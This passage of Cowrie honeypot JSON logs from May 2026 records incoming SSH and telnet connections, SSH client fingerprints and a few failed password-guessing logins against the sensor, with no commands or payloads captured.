af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:33:10.825837Z","src_ip":"4.213.160.153","session":"e6bf20dcc040","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"11","message":"login attempt [test/11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:33:11.610417Z","src_ip":"4.213.160.153","session":"e6bf20dcc040","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:33:12.826399Z","src_ip":"4.213.160.153","session":"e6bf20dcc040","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.22989058494568,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:33:14.450920Z","src_ip":"50.6.3.16","session":"87e45cdec0b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11885952949524,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:33:14.713171Z","src_ip":"50.6.3.16","session":"5f5764019de1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":59590,"dst_ip":"10.17.0.5","dst_port":23,"session":"7eb10f923ff6","protocol":"telnet","message":"New connection: 50.6.3.16:59590 (10.17.0.5:23) [session: 7eb10f923ff6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:33:16.057559Z"}
{"eventid":"cowrie.session.closed","duration":30.080589771270752,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:33:16.569613Z","src_ip":"50.6.3.16","session":"7863beaea9e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.9138662815094,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:33:20.052838Z","src_ip":"50.6.3.16","session":"14861a2f28e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":49150,"dst_ip":"10.17.0.5","dst_port":23,"session":"e973b4709ef4","protocol":"telnet","message":"New connection: 50.6.3.16:49150 (10.17.0.5:23) [session: e973b4709ef4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:33:20.933006Z"}
{"eventid":"cowrie.session.connect","src_ip":"59.62.163.176","src_port":38182,"dst_ip":"10.17.0.5","dst_port":23,"session":"1582349afc25","protocol":"telnet","message":"New connection: 59.62.163.176:38182 (10.17.0.5:23) [session: 1582349afc25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:33:22.397591Z"}
{"eventid":"cowrie.session.closed","duration":30.980181455612183,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:33:24.243180Z","src_ip":"50.6.3.16","session":"cd317a395868","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":49160,"dst_ip":"10.17.0.5","dst_port":23,"session":"df69b14ca797","protocol":"telnet","message":"New connection: 50.6.3.16:49160 (10.17.0.5:23) [session: df69b14ca797]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:33:26.197079Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":44602,"dst_ip":"10.17.0.5","dst_port":23,"session":"24dcbc4c1994","protocol":"telnet","message":"New connection: 50.6.3.16:44602 (10.17.0.5:23) [session: 24dcbc4c1994]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:33:29.428264Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":44586,"dst_ip":"10.17.0.5","dst_port":23,"session":"92368660b1ef","protocol":"telnet","message":"New connection: 50.6.3.16:44586 (10.17.0.5:23) [session: 92368660b1ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:33:30.311455Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":44610,"dst_ip":"10.17.0.5","dst_port":23,"session":"4500342c2313","protocol":"telnet","message":"New connection: 50.6.3.16:44610 (10.17.0.5:23) [session: 4500342c2313]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:33:30.502767Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":44626,"dst_ip":"10.17.0.5","dst_port":23,"session":"0bee3da7053d","protocol":"telnet","message":"New connection: 50.6.3.16:44626 (10.17.0.5:23) [session: 0bee3da7053d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:33:33.769975Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":44628,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc3d2bcd1903","protocol":"telnet","message":"New connection: 50.6.3.16:44628 (10.17.0.5:23) [session: fc3d2bcd1903]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:33:35.728251Z"}
{"eventid":"cowrie.session.closed","duration":13.863794088363647,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:33:36.261251Z","src_ip":"59.62.163.176","session":"1582349afc25","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"211.186.79.173","src_port":59964,"dst_ip":"10.17.0.5","dst_port":22,"session":"81c557d5b826","protocol":"ssh","message":"New connection: 211.186.79.173:59964 (10.17.0.5:22) [session: 81c557d5b826]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:33:39.506895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:33:39.512847Z","src_ip":"211.186.79.173","session":"81c557d5b826","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:33:39.693126Z","src_ip":"211.186.79.173","session":"81c557d5b826","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysadmin","password":"sysadmin2016","message":"login attempt [sysadmin/sysadmin2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:33:40.445643Z","src_ip":"211.186.79.173","session":"81c557d5b826","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.078514575958252,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:33:40.462130Z","src_ip":"50.6.3.16","session":"7920ea4e31af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:33:41.629299Z","src_ip":"211.186.79.173","session":"81c557d5b826","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.082061052322388,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:33:47.139499Z","src_ip":"50.6.3.16","session":"7eb10f923ff6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":56630,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e89fbd972bf","protocol":"telnet","message":"New connection: 50.6.3.16:56630 (10.17.0.5:23) [session: 7e89fbd972bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:33:48.848842Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":56640,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad5f7b411509","protocol":"telnet","message":"New connection: 50.6.3.16:56640 (10.17.0.5:23) [session: ad5f7b411509]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:33:49.551730Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":56652,"dst_ip":"10.17.0.5","dst_port":23,"session":"803daa3438e9","protocol":"telnet","message":"New connection: 50.6.3.16:56652 (10.17.0.5:23) [session: 803daa3438e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:33:51.554688Z"}
{"eventid":"cowrie.session.closed","duration":31.10385489463806,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:33:52.036749Z","src_ip":"50.6.3.16","session":"e973b4709ef4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":56654,"dst_ip":"10.17.0.5","dst_port":23,"session":"822994dea2e7","protocol":"telnet","message":"New connection: 50.6.3.16:56654 (10.17.0.5:23) [session: 822994dea2e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:33:54.838023Z"}
{"eventid":"cowrie.session.closed","duration":31.299176454544067,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:33:57.496189Z","src_ip":"50.6.3.16","session":"df69b14ca797","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.068048238754272,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:34:00.496137Z","src_ip":"50.6.3.16","session":"24dcbc4c1994","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.067922592163086,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:34:01.379237Z","src_ip":"50.6.3.16","session":"92368660b1ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.989218711853027,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:34:01.491887Z","src_ip":"50.6.3.16","session":"4500342c2313","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":38598,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e59b1ae3bde","protocol":"telnet","message":"New connection: 50.6.3.16:38598 (10.17.0.5:23) [session: 2e59b1ae3bde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:34:03.905027Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":38608,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd4c003f9290","protocol":"telnet","message":"New connection: 50.6.3.16:38608 (10.17.0.5:23) [session: dd4c003f9290]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:34:04.803437Z"}
{"eventid":"cowrie.session.closed","duration":31.13970375061035,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:34:04.909570Z","src_ip":"50.6.3.16","session":"0bee3da7053d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.102730989456177,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:34:06.830832Z","src_ip":"50.6.3.16","session":"fc3d2bcd1903","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":54290,"dst_ip":"10.17.0.5","dst_port":23,"session":"d16d2b59b997","protocol":"telnet","message":"New connection: 50.6.3.16:54290 (10.17.0.5:23) [session: d16d2b59b997]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:34:13.280243Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":54306,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f69240ed1c0","protocol":"telnet","message":"New connection: 50.6.3.16:54306 (10.17.0.5:23) [session: 8f69240ed1c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:34:14.982782Z"}
{"eventid":"cowrie.session.closed","duration":31.070733547210693,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:34:19.919469Z","src_ip":"50.6.3.16","session":"7e89fbd972bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"4.213.160.153","src_port":60310,"dst_ip":"159.203.135.109","dst_port":22,"session":"c14ec74ab540","protocol":"ssh","message":"New connection: 4.213.160.153:60310 (159.203.135.109:22) [session: c14ec74ab540]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:34:20.471495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:34:20.481476Z","src_ip":"4.213.160.153","session":"c14ec74ab540","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.079087734222412,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:34:20.630698Z","src_ip":"50.6.3.16","session":"ad5f7b411509","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:34:20.661941Z","src_ip":"4.213.160.153","session":"c14ec74ab540","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Qwe123456@","message":"login attempt [ubuntu/Qwe123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:34:21.516671Z","src_ip":"4.213.160.153","session":"c14ec74ab540","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.27454710006714,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:34:22.829087Z","src_ip":"50.6.3.16","session":"803daa3438e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:34:23.054052Z","src_ip":"4.213.160.153","session":"c14ec74ab540","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.488818883895874,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:34:26.326743Z","src_ip":"50.6.3.16","session":"822994dea2e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.186.203","src_port":3004,"dst_ip":"10.17.0.5","dst_port":22,"session":"781300a9fc0b","protocol":"ssh","message":"New connection: 66.132.186.203:3004 (10.17.0.5:22) [session: 781300a9fc0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:34:29.828716Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:34:30.153091Z","src_ip":"66.132.186.203","session":"781300a9fc0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"873a5fb5fedc2d4f8638ebde4abc6cfc","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 873a5fb5fedc2d4f8638ebde4abc6cfc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:34:30.156994Z","src_ip":"66.132.186.203","session":"781300a9fc0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":57990,"dst_ip":"10.17.0.5","dst_port":23,"session":"a508ccc0f473","protocol":"telnet","message":"New connection: 50.6.3.16:57990 (10.17.0.5:23) [session: a508ccc0f473]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:34:30.739920Z"}
{"eventid":"cowrie.session.closed","duration":31.265836238861084,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:34:35.170737Z","src_ip":"50.6.3.16","session":"2e59b1ae3bde","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.068297863006592,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:34:35.871609Z","src_ip":"50.6.3.16","session":"dd4c003f9290","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":57138,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2ff6464ce56","protocol":"telnet","message":"New connection: 50.6.3.16:57138 (10.17.0.5:23) [session: f2ff6464ce56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:34:39.997088Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.0.217.26","src_port":53166,"dst_ip":"10.17.0.5","dst_port":23,"session":"3458c03d4010","protocol":"telnet","message":"New connection: 212.0.217.26:53166 (10.17.0.5:23) [session: 3458c03d4010]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:34:42.864930Z"}
{"eventid":"cowrie.session.closed","duration":31.060147047042847,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:34:44.340235Z","src_ip":"50.6.3.16","session":"d16d2b59b997","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.6","message":"Connection lost after 15.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:34:45.386583Z","src_ip":"66.132.186.203","session":"781300a9fc0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":57140,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6dc262facd9","protocol":"telnet","message":"New connection: 50.6.3.16:57140 (10.17.0.5:23) [session: f6dc262facd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:34:45.490205Z"}
{"eventid":"cowrie.session.closed","duration":31.076180458068848,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:34:46.058830Z","src_ip":"50.6.3.16","session":"8f69240ed1c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.212.210.188","src_port":4561,"dst_ip":"159.203.135.109","dst_port":23,"session":"c07e27947fc6","protocol":"telnet","message":"New connection: 190.212.210.188:4561 (159.203.135.109:23) [session: c07e27947fc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:34:46.627744Z"}
{"eventid":"cowrie.session.closed","duration":12.333406209945679,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:34:55.198231Z","src_ip":"212.0.217.26","session":"3458c03d4010","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"211.186.79.173","src_port":44526,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ec368a3c815","protocol":"ssh","message":"New connection: 211.186.79.173:44526 (10.17.0.5:22) [session: 2ec368a3c815]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:34:58.168835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:34:58.173931Z","src_ip":"211.186.79.173","session":"2ec368a3c815","protocol":"ssh"}
